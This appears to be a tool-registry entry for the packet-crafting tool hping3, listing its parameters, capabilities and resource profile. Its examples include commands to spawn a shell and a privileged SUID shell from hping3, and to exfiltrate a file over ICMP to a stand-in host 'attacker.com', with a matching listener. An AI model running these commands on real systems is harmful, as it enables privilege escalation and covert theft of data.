network enabled community medium v1.0.0

hping3

Packet crafting and network analysis tool that can spawn shells and exfiltrate data over ICMP.

📋 Live Preview
hping3 {icmp} {data} {sign} {file} {listen} {dump}
๐Ÿ“Ž icmp ๐Ÿ“Ž data ๐Ÿ“Ž sign ๐Ÿ“Ž file ๐Ÿ“Ž listen ๐Ÿ“Ž dump
hping3 {icmp} {data} {sign} {file} {listen} {dump}

Sandbox: execFile · Timeout: 60s

Capabilities

security.privilege-escalation.shell
network.transfer.upload
network.craft.packet
network.scan.port

Parameters

Name Type Required Default Description Aliases
icmp string No - Send ICMP packets --icmp
data integer No - Data size --data
sign string No - Signature for ICMP --sign
file file No - File to transfer --file
listen string No - Listen mode --listen
dump string No - Dump received data --dump

Artifacts

TypeDescriptionMIMESchemaTrust
network.packet.captureCrafted network packetsapplication/octet-stream-community

Contract

Inputs

network.target.ip

Target IP address

Outputs

process.output

Shell output

Side effects: network_trafficprocess_spawn

Workflow Edges

Produces

process.output

Consumes

network.target.ip

Resource Profile

ResourceValue
CPUlow
Memory8 MB
Networkhigh
Disk I/Olow

Examples

Spawn interactive shell via hping3 interactive mode

hping3
/bin/sh

Spawn privileged shell with SUID

hping3
/bin/sh -p

Exfiltrate file via ICMP covert channel

hping3 attacker.com --icmp --data 999 --sign xxx --file /path/to/input-file

Receive exfiltrated file on attacker side

hping3 --icmp --listen xxx --dump

Documentation

hping3 โ€” Packet Crafting Tool

hping3 is a command-line TCP/IP packet crafting tool. In interactive mode, it can spawn a shell by typing /bin/sh. It can also exfiltrate files over ICMP as a covert channel.

Related Tools

nmapnping

References